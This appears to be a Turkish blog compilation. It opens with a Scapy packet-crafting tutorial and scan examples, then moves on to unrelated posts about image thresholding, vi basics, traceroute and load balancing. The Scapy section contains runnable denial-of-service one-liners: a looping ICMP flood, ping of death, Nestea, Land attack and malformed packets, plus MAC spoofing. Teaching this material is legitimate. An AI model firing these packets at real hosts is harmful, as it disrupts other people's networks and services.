  • send(IP(dst="192.168.10.14")/ICMP()/"Scapy", loop=1, inter=0.2, verbose=False)
Burada dikkat ettiyseniz IP başlığı içinde src= kısmını belirtmedik. Böyle bir durumda Scapy otomatik olaraksizin o an bulunduğunuz networkteki aldığınız IP adresini src= kısmına atar. Daha sonra loop=1 ile bu send() fonksiyonumuzu sonsuz bir döngüye sokuyoruz. Yani biz programı durdurana kadar 192.168.10.14 ip adresli cihaza bu ICMP paketini gönder diyoruz. Sonrasında inter=0.2 parametresi ile her gönderilen paket arasında 0.2 saniye kadar bekle diyoruz. Yani bu paketleri 0.2 saniye aralıkları ile gönder. verbose=False ile de, bu paketleri gönderirken ekrana gereksiz çıktı verme diyoruz. Evet bu tek satırlık kod parçası aslında network güvenliğinde ICMP Flood saldırısına olanak vermektedir. Tabi tek bir cihaz ile bu saldırıyı yapmanız oldukça zordur, fakat dağıtık bir yapıda saldırının gücü artacaktır. Aşağıdaki wireshark görüntüsü bu kodun çalışma yapısına ışık tutmaktadır.

sendp()

Bu fonksiyonumuz ise temel olarak, send() fonksiyonu ile aynı görevi üstlenmektedir. Fakat aralarındaki temel fark şudur; send() fonksiyonu ile Layer 3 düzeyinde işlemler yapabilirsiniz, Layer 2(802.3, 802.11, 802.1q, 802.15..) yani bu örnekteki Ethernet çerçevesinde değişiklik yapamazsınız, bu değerler otomatik olarak Scapy tarafından(dolaylı yoldan işletim sistemi tarafından) doldurulur. Fakat sendp() fonksiyonu ile Layer 2 katmanında da paketlerinizi manipüle edebilirsiniz. Yani Ethernet çerçevesinde istediğiniz değişikliği yapabilirsiniz. Şimdi bu teorik bilgiden sonra aşağıdaki kodumuzu inceleyelim.
  • sendp(Ether(src="aa:bb:cc:dd:ee:ff")/IP(dst="192.168.10.14")/ICMP()/"Scapy", count=10, inter=0.2, verbose=False)
Burada gördüğünüz üzere ICMP paketimizin Ethernet çervesindeki source mac adresini src değişkeni vasıtasıyla aa:bb:cc:dd:ee:ff olarak değiştirdik. Bu kodun yazılı olduğu programı çalıştırdığımız vakit, source mac adresi, ağ kartımızın default mac adresinden farklı olan bir ICMP paketi iletim ortamına salınacaktır. Peki kaç defa gönderilecektir bu paket? Tabiki 10 defa, bunu da count=10 parametresi ile sağladık.

sr()

Şimdiye kadar oluşturduğumuz paketlerimizi sadece iletim ortamına göndermekle yetindik. Fakat sadece göndermek bizim için yeterli değil, ağ kartımıza gelen paketleri de değerlendirmek en az göndermek kadar önemlidir. Aslında biz yukarıdaki örneklerde ICMP paketi gönderdirdiğimiz de, cevap olarak bize ICMP Reply paketi gelmektedir, fakat biz o ICMP Reply paketini göremedik ve dolayısıyla o ICMP Reply paketini işleyemedik. İşte bu ICMP Reply paketi gibi bizim ağ kartımızdan gönderdiğimiz pakete cevap olarak gelen paketleri sr() fonksiyonu ile işleme alabiliyoruz. Aynı zamanda sr() fonksiyonu ile paketlerimizi iletim ortamına da gönderedebiliriz. Yani ayrıca send() fonksiyonunu kullanmamıza gerek yoktur.
sr'nin açılımı send and recieve'dir

Aşağıdaki örneği inceleyelim.
  • ans, unans = sr(IP(dst="cyberkod.com")/TCP(sport=9898, dport=80, flags= 'S')) 
  • for send, recieve in ans:
  • send.show()
  • print("--")
  • recieve.show()
Çıktısı ise aşağıdaki gibidir.
###[ IP ]###
  • version = 4
  • ihl = None
  • tos = 0x0
  • len = None
  • id = 1
  • flags = 
  • frag = 0
  • ttl = 64
  • proto = tcp
  • chksum = None
  • src = 192.168.10.63
  • dst = 192.30.252.153
  • \options \
  • ###[ TCP ]### 
  • sport = 9898
  • dport = http
  • seq = 0
  • ack = 0
  • dataofs = None
  • reserved = 0
  • flags = S
  • window = 8192
  • chksum = None
  • urgptr = 0
  • options = {}
--
###[ IP ]###
  • version = 4L
  • ihl = 5L
  • tos = 0x0
  • len = 44
  • id = 0
  • flags = DF
  • frag = 0L
  • ttl = 46
  • proto = tcp
  • chksum = 0xc52c
  • src = 192.30.252.153
  • dst = 192.168.10.63
  • \options \
  • ###[ TCP ]### 
  • sport = http
  • dport = 9898
  • seq = 3181249471
  • ack = 1
  • dataofs = 6L
  • reserved = 0L
  • flags = SA
  • window = 28720
  • chksum = 0xb805
  • urgptr = 0
  • options = [('MSS', 1436)]
Peki biz şimdi burada ne yaptık? Öncelikle S flagi işaretli bir TCP datagramını cyberkod.com adresine 9898 port numaralı soketten gönderdik. Bu gönderme işlemini de sr() fonksiyonunu kullanarak yaptık. Fakat dönen sonucu tek bir değişkene değilde 2 farklı değişkene atadık. Bunlardan ans, gönderilip cevap alınan paket çiftini içermektedir. unans ise, gönderilip cevap alınamayan paketin kendisini içerir. Yani bir ICMP paketi gönderdiniz ama ICMP reply paketi gelmedi, işte bu durumda unans değişkeni içinde göndermiş olduğunuz ICMP paketi olur. Diğer değişkenimiz olan ans değişkeninde ise başarılı bir şekilde gönderilmiş olan ICMP paketi ve o pakete karşılık gelen ICMP reply paketi bulunmaktadır. Bu şekilde aklınızda tutabilirsiniz. Tabi bu örnekte biz TCP datagramı gönderdiğimiz için, ans değişkeni içinde ICMP ve ICMP reply paketleri yerine TCP SYN ile TCP SYN-ACK datagramlarını ihtiva edecektir. Daha sonra bu ans değişkenini bir for döngüsüne sokarak, paketlerin içeriğini show() metodu vasıtasıyla ekrana bastırdık. Özetle sr() fonksiyonu bir paket göndermemizi ve gönderilip, alınan bu paketlerin bir değişkende toplanmasını sağlamaktadır.
sr1()

Bu fonksiyonumuz ise paket gönderip sadece dönen cevabı bir değişkene atama işlemini gerçekleştirmektedir. Yani bir ICMP paketi gönderdiniz, eğer başarılı bir şekilde paketiniz gitti ise dönen ICMP reply paketini bir değişkende saklayabilirsiniz. Yok başarılı bir şekilde gitmedi ise bundan haberdar da olamazsınız. Çünkü sr() fonksiyonunda olduğu gibi bir unans değeri döndürmez. Aşağıdaki örneği inceleyelim.
  • recieved = sr1(IP(dst="google.com")/ICMP())
  • recieved.show()
Çıktısı ise şu şekildedir.
###[ IP ]###
  • version = 4L
  • ihl = 5L
  • tos = 0x0
  • len = 28
  • id = 0
  • flags = 
  • frag = 0L
  • ttl = 54
  • proto = icmp
  • chksum = 0xfb52
  • src = 172.217.17.206
  • dst = 192.168.10.63
  • \options \
  • ###[ ICMP ]### 
  • type = echo-reply
  • code = 0
  • chksum = 0x0
  • id = 0x0
  • seq = 0x0
srp() ve srp1() fonksiyonlarını ayrı bir başlık altında incelemeyeceğim. Mantık aynı send() ve sendp()fonksiyonlarında olduğu gibidir. Yani srp() fonksiyonun sr() fonksiyonundan tek farkı Layer 2 katmınında manipülasyon yapmanıza olanak vermesidir.

sniff()

Yazının sonlarına doğru değinmezsem içimde kalır dediğim bir fonksiyondur sniff() fonksiyonu. Bu fonksiyon sayesinde ağ kartınıza gelen paketleri dinleyip bir değişkene çok kolay bir şekilde atayabilirsiniz. İçerisine gireceğiniz çeşitli filtreler ile spesifik paketleri dinleyebilirsiniz. Örnekleri inceleyelim.
  • pkts = sniff(filter="arp", count=5)
  • pkts.summary()
Çıktısı şu şekildedir.
  • Ether / ARP who has 192.168.10.147 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.148 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.149 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.150 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.151 says 192.168.10.1 / Padding
Aslında burada yaptığımız şey çok basit. Sniff() fonksiyonundan filter="arp" parametresi vasıtası ile toplam 5 adet arp paketi dinlemesini istedik. Bu fonksiyonumuzda bu paketleri dinledi ve pkts değişkenine atadı. Bu paketlere isterseniz tek tek de ulaşıp, içeriklerini aşağıdaki gibi görüntüleyebilirsiniz.
  • pkts = sniff(filter="arp", count=5)
  • pkts[0].show()
Hatta bu görüntüledeğimiz paketi sendp(pkts[0]) şeklinde gönderedebilirsiniz.

Basit Scapy Komutları

ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:
  • >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) 
We can find unfiltered ports in answered packets:
  • >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print str(s[TCP].dport) + " is unfiltered" 
Similarly, filtered ports can be found with unanswered packets:
  • >>> for s in unans: ... print str(s[TCP].dport) + " is filtered" 

Xmas Scan

Xmas Scan can be launched using the following command:
  • >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) 
Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:
  • >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) 
ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:
  • >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) 
Answers can be reviewed with the following command:
  • >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) 
Scapy also includes a built-in arping() function which performs similar to the above two commands:
  • >>> arping("192.168.1.*") 
ICMP Ping

Classical ICMP Ping can be emulated using the following command:
  • >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP()) 
Information on live hosts can be collected with the following request:
  • >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") ) 
TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:
  • >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) 
Any response to our probes will indicate a live host. We can collect results with the following command:
  • >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 
UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:
  • >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) 
Once again, results can be collected with this command:
  • >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 
Classical attacks

Malformed packets:
  • >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) 
Ping of death (Muuahahah):
  • >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) 
Nestea attack:
  • >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) 
Land attack (designed for Microsoft Windows):
  • >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

Karakter Karşılastırma

# coding: utf-8

# In[28]:

import matplotlib.pyplot as plt
import numpy as np

aList = []

img1 = plt.imread("a1.jpg")
img1.ndim, img1.shape
img2 = plt.imread("a2.jpg")
img2.ndim, img2.shape
img3 = plt.imread("a3.jpg")
img3.ndim, img3.shape
img4 = plt.imread("a4.jpg")
img4.ndim, img4.shape
img5 = plt.imread("a5.jpg")
img5.ndim, img5.shape
img6 = np.zeros(img1.shape[0:2])
img6.shape
threshold = 120

aList.append(img1)
aList.append(img2)
aList.append(img3)
aList.append(img4)
aList.append(img5)

for k in aList:
    for i in range(k.shape[0]):
        for j in range(k.shape[1]):
            n = k[i,j,0]/3 + k[i,j,1]/3 + k[i,j,2]/3
            if n > threshold:
                k[i,j] = 255
            else:
                k[i,j] = 0

plt.subplot(1,5,1), plt.imshow(aList[0])
plt.subplot(1,5,2), plt.imshow(aList[1])
plt.subplot(1,5,3), plt.imshow(aList[2])
plt.subplot(1,5,4), plt.imshow(aList[3])
plt.subplot(1,5,5), plt.imshow(aList[4])
plt.show()

aList[0].shape
myArray = np.array(aList[0],np.int32).reshape(1,30810) #hata
print(myArray)



Linux dünyasında bir çok işlem konsol üzerinden gerçekleştiriliyor. Bu yazımda da konsol üzerinden metin dosyası oluşturma, metin dosyasına metin ekleme, düzenlemesi
, silme ve dosyaları birleştirme işlemlerinden bahsedeceğim.

Dosya Oluşturma
  • touch dosya_ismi
komutu ile ev dizinimizde bir dosya oluşturabiliriz.

Dosyaya Metin Ekleme
  • vi dosya_ismi
komutu ile ev dizinimizde verdiğimiz isimde bulunan dosya açılacaktır. Daha sonra açılan dosyaya istediğimiz metni yazabiliriz.
  • ctrl + c
Yazma işlemimiz bittikten sonra yukarıdaki tuşlara basarak çıkış moduna giriyoruz.
  • :w
Daha sonra bu modda yukarıdaki komutu yazarak dosyayı kaydediyoruz.
  • :q
Daha sonra dosyadan çıkmak için yine aynı şekilde yukarıdaki komutu yazarak enter tuşuna basıyoruz.


Mesafe ve Ortalama

import math
import numpy as np
def myDistance(a, b):
    myPoint1 = a
    myPoint2 = b
    a = (myPoint1[0]-myPoint2[0])**2
    b = (myPoint1[1]-myPoint2[1])**2
    return math.sqrt(a+b)

def findCenter(ListOfPoints):
    a=0
    b=0 
    length = len(ListOfPoints)
    for point in ListOfPoints:
        a = a + point[0]
        b = b + point[1]
    return [a/length,b/length]

myPoint1 = [0,0]
myPoint2 = [1,0]
myPoint3 = [0,1]
myPoint4 = [1,1]

pointList = []

pointList.append(myPoint1)
pointList.append(myPoint2)
pointList.append(myPoint3)
pointList.append(myPoint4)

myDistance(myPoint2,myPoint3)

findCenter(pointList)

myArray = np.array([[1,2,3],[2,6,9]],np.int32)
myArray.ndim, myArray.shape
myArray1 = myArray.reshape(1,6)
print(myArray)
print("")
print(myArray1)

Traceroute açık kaynak kodlu bir ağ analizi yazılımıdır. Traceroute programı 1987 yılında Van Jacobson tarafından yazılmıştır. Traceroute programı, TCP/IP ağlarında kaynak bilgisayardan hedef bilgisayara giden paketlerin hangi rotayı takip ettiğinin anlaşılması ve bu rotalardan geçerken meydana gelen gecikmelerin görülebilmesini sağlayan bir ağ aracıdır. Traceroute programı tüm unix/Linux ve Microsoft Windows tabanlı işletim sistemlerinde bulunur. Microsoft Windows işletim sistemlerinde bu aracın adı "tracert" olarak geçmektedir. Traceroute programın çalışabilmesi için veri paketinin üzerinden geçtiği hostlarda herhangi ek özelliğin bulunmasına gerek yoktur. IPv6 desteği (traceroute6) vardır.

Çalışma sistemi

Traceroute; IP başlığındaki TTL (time-to-live) alanını ve ICMP (Internet Control Message Protocol) kullanır.

TTL, IP başlığının (IP header) dokuzuncu baytında yer alır ve 8 bitlik bir alana sahiptir. TTL'in başlangıç değeri, IP paketinin oluşturulduğu işletim sistemi tarafından belirlenir. TTL değeri işletim sisteminden işletim sistemine farklılık göstermektedir. TTL değeri, IP paketinin üzerinden geçtiği her hop tarafından "bir" azaltılır. IP başlığındaki TTL alanının amacı, IP paketlerinin ağlarda sonsuz dolaşımının önüne geçmektir. Bir yönlendirici, TTL alanı 0 ya da 1 olan bir IP paketi almış ise bu paketi düşürür, başka bir yere yönlendirmez ve kaynak bilgisayara "ICMP TTL time exceeded” mesajı gönderir. "TTL time exceeded" mesajı ICMP başlığında "Type 11" ve "Code 0" değerlerini alacak şekilde tanımlanmıştır.

Linux işletim sistemine sahip olan bilgisayarlarda "traceroute" komutu, hedef bilgisayara UDP datagramları gönderir. Linux işletim sistemine sahip bilgisayarlar bunun yanı sıra, hedef bilgisayarlara "ICMP Echo Request" mesajları ya da TCP SYN segmentleri de gönderebilirler. Windows işletim sistemine sahip olan bilgisayarlar hedef bilgisayarlara UDP datagramları yerine "ICMP Echo Request" mesajları gönderirler.

"Traceroute" programı, hedef bilgisayara ilk olarak TTL alan değeri "1" olan üç adet paket gönderir. TTL değeri "1" yapılmış olan IP paketlerini alan birinci yönlendirici, bu paketleri bir sonraki -ikinci- yönlendiriciye göndermez, düşürür ve kaynak IP adresine "ICMP TTL time exceeded” (Type 11, Code 0) mesajını gönderir. "ICMP TTL time exceeded" mesajını alan kaynak bilgisayar bu sefer TTL değeri "2" olan üç adet IP paketini hedef bilgisayara gönderir. Bu paketleri alan birinci yönlendirici TTL değerini "1" düşürerek "1" yaparak ikinci yönlendiriciye iletir. İkinci yönlendirici TTL değeri "1" olan IP paketlerini bir sonraki yönlendiriciye göndermez, düşürür ve kaynak IP adresine "ICMP TTL time exceeded” (Type 11, Code 0) mesajını gönderir. Kaynak bilgisayar bu sefer TTL değer "3" olan üç adet paketi hedefe gönderir. İlk iki yönlendirici, yine TTL değerlerini "1" düşürerek IP paketlerini üçüncü yönlendiriciye iletir. Üçüncü yönlendirici yönlendirici TTL değeri "1" olan IP paketlerini bir sonraki yönlendiriciye göndermez, düşürür ve kaynak IP adresine "ICMP TTL time exceeded” (Type 11, Code 0) mesajını gönderir. Bu durum hedef bilgisayara ulaşana kadar TTL değeri "1" artırılarak devam eder. Kaynak bilgisayar tarafından üretilen üç adet IP paketi son olarak hedefe ulaştığında bu sefer hedef bilgisayar kaynak bilgisayar tarafından gönderilmiş olan bu IP paketlerine cevap verir. Bu şekilde hedef bilgisayara ulaşana kadar hangi "hop"lardan geçildiği "traceroute" ile tespit edilir.

Kaynak bilgisayar Windows işletim sistemine sahipse hedef bilgisayara "ICMP Echo Request" mesajları göndermiştir. (Type: 8, Code:0) Bu ICMP mesajları hedef bilgisayara ulaştığında hedef bilgisayar bu mesajlara ICMP Echo Reply mesajıyla cevap verir. (Type: 0, Code:0)[8]

Kaynak bilgisayar Linux işletim sistemine sahipse hedef bilgisayara, hedef portunun kullanılmadığı düşünülen bir UDP datagram'ı gönderir. (Örneğin 29082 numaralı UDP portu hedef port olarak belirlenir.) Hedef bilgisayar bu UDP datagram'ını alır. 29082 numaralı portu açık olmadığı için de kaynak bilgisayara "ICMP Destination Port Unreachable" mesajını göndrerir. (Type: 3, Code: 3)

Kullanım Yerleri

Trauceroute ağda sorun gidermek için kullanılır. Kaynak IP adresinden hedef IP adresine doğru gidilecek rota üzerinde yönlendirme problemlerinin tespit edilmesini sağlar. Ayrıca hedef IP adresine doğru giderken geçilen hostlara verilen IP adreslerini görmeye ve ağ altyapısı hakkında bilgi sahibi olmak için kullanılır.


Yük dengeleme; işi, iki ya da daha fazla bilgisayar, işlemci, sabit disk ya da diğer kaynaklar arasında paylaştırma teknolojisidir. Bu teknolojiyi kullanarak en iyi kaynak kullanımı, en yüksek işlem hacmi, en düşük cevap süresi sağlanabilir; oluşabilecek aşırı yüklemeden (overload) kurtulunabilir.
Tek bileşen kullanmak yerine, yük dengeleme ile birden fazla bileşen kullanımı yedekleme (redundancy) sayesinde güvenilirliği artırabilir.
Yük dengeleme genellikle adanmış bir yazılım ya da donanım aygıtı (DNS, Multilayer switch vb.) kullanılarak sağlanır.
Yük dengeleme genellikle bilgisayar grupları (computer cluster) arasındaki iç iletişimi sağlamak amacıyla kullanılır.
Yük dengeleme kullanılan birden fazla bileşen ile yedekliliği sağlar. Bir yönlendirici (router) belirli bir ağ için birden fazla rota öğrendiğinde, yönlendirme tablosundaki (routing table) en düşük yönetimsel uzunluk (Administrative Distance - AD) değerine sahip rotayı seçer. Yönetimsel uzunlukların eşit olması durumunda ise metriklere bakacaktır. Yönetimsel uzunluk ve metrik değerlerinin eşit olması durumunda 3. Katman yük dengeleme oluşur. Ayrıca IGRP (Interior Gateway Routing Protocol - Dahili Ağ Geçidi Yönlendirme Protokolü) ve EIGRP (Enhanced Interior Gateway Routing Protocol - Geliştirilmiş Dahili Ağ Geçidi Yönlendirme Protokolü) protokoller eşit maliyetli (cost) olmayan yük dengelemeyi de destekler.

Etherchannel Yük Dengeleme Yöntemi

Birincil ve yedek hatlar mantıksal olarak tek bir hat gibi kullanıldığı yük dengeleme yöntemi “etherchannel”dır. İki ağ cihazı arasındaki hat kapasitesini artırmaya yarar. Ağ cihazlarının etherchannel yaptırılan portları tek port gibi kullanılır.Etherchannel yapılan portlarda verinin hangi yolu tercih edeceğini belirlemek için iki yöntem vardır:
  • Yalnızca tek bir değişkene göre belirlenebilir. (Kaynak mac adresi, hedef mac adresi, kaynak IP (InternetProtocol - İnternet Protokolü) adresi, hedef IP adresi, kaynak port, hedef port)
  • İki değişkene göre belirlenebilir. (Kaynak/hedef mac adresi, kaynak/hedef IP adresi, kaynak/hedef port)

3. Katmanda Yük Dengeleme

3. katmanda yük dengeleme iki şekilde uygulanabilir:
  • Hedefe göre (per- destination) : Yönlendirici paketleri hedef adreslerine göre dağıtır. Aynı ağa 2 yol olması durumunda o ağdaki hedef1 için gelen bütün paketler ilk yoldan, hedef2 için gelen bütün paketler de diğer yoldan gönderilir ve böyle devam eder. Aynı ağdaki farklı kullanıcılar için farklı rotalar kullanılmış olur. Hedef adreslerinin fazla olması bağlantıların eşit kullanılmasını sağlar. Her adres için rota önbellek girdisi (route-cache entry) hazırlanır. Bu nedenle hedefe göre yük dengelemede hafıza ve işlem gereksinimi çok fazla olur; binlerce kullanıcıya trafik taşıyan yönlendiriciler için uygun değildir.
  • Pakete göre (per-packet) : Pakete göre yük dengelemede yönlendiriciye hedef1 için gelen ilk paket ilk yoldan, ikinci paket de ikinci yoldan vb. şekilde gönderilir. Her paketin iletim sürecinde çıkış arayüzüne bakılır ve en az kullanılmış bağlantı yönlendirme tablosundan seçilir. Bu linklerin eşit kullanımını sağlar fakat işlemci üzerinde yoğun görev ve iletim performansında düşmeye yol açar. Ayrıca paketlerin hedefe, farklı gecikme süreleri nedeniyle sırası bozulmuş olarak varmasına neden olabilir. Bu tür yük dengeleme yüksek hızlı olması gereken arayüzler için uygun değildir.
Hedefe ve pakete göre yük dengeleme ip paketleri için kullanılan anahtarlama planlarıdır. Hedefe göre yük dengeleme kullanılacak arayüzde hızlı anahtarlama uygulanması gereklidir.

İnternet Servislerinde Yük Dengeleme

Yük dengelemenin en genel kullanım alanı sunucu çiftliği olarak bilinen, birçok sunucu kullanarak bir tane internet servisi sağlamaktır. Bu internet servisi genellikle popüler web siteleri, yüksek bant genişliğine sahip dosya aktarım iletişim kuralı siteleri, NNTP sunucusu, DNS sunucusu, mali işlemler gibi çalışması kritik uygulamalardır.
Yük dengeleyici genellikle bir yazılımdır. İstemcilerle iletişime geçer ve gelen isteği cevap vermesi için herhangi bir zamanlama algoritması kullanarak seçtiği arka uç sunucusuna iletir. Sanal ip adrese (VIPs) sahiptir. Bu yöntemde istemciler arka uç sunucularla direk iletişime geçmediği için ağ yapısı ve diğer portlar üzerinde koşan bağımsız servisler üzerine gelebilecek saldırılar engellenir.
Yük dengeleyici kullanılarak oluşturulan yük dengeleme sisteminde, arka uç sunucularından birinde bir problem olduğunda sistem çalışmasına devam ederken; yük dengeleyicide bir problem olduğunda sistem tamamen çalışmaz hale gelir.
Çözümlerden bir diğeri, Round Robind DNS olarak adlandırılan, adanmış yazılım ya da donanım gerektirmeyen metotdur. Tek bir Alan adı (www.example.org) ile birden çok IP adresi eşleştirilerek gerçekleştirilir. DNS sunucusu gelen isteklere, Round Robin algoritmasını kullanarak tanımlanan sunuculardan bir tanesini atar. İstemci arka uç sunucuların varlığını bildiğinden dolayı teknolojiden haberdardır. Teknoloji DNS nin getirdiği tüm avantaj ve dezavantajlara sahiptir.

Kalıcı Veriler

Bir kullanıcının istekleri boyunca oturum bilgilerinin nasıl tutulacağı önemlidir. Eğer bilgiler yerel olarak arka uç sunuculardan birinde tutulursa, izleyen istekte diğer bir arka uç sunucusuna gittiğinde bilgiler bulunamaz. Bu, tekrar kullanılacak bilgileri saklama gereksinimini ortaya çıkarır.
Çözümlerden biri, "Persistence" olarak da bilinen aynı istemciden gelen tüm istekleri aynı sunucuya yönlendirmektir. Fakat arka uç sunucularından birinde bir problem oluştuğunda o sunucu üstündeki tüm verileri tüm veriler kaybedilir.
Diğer çözüm oturum bilgilerini veritabanında tutmaktır. Veri tabanı yükü arttıkça performans düşüşü oluştuğundan dolayı veriler kısa süreli tutulacaksa tercih edilir.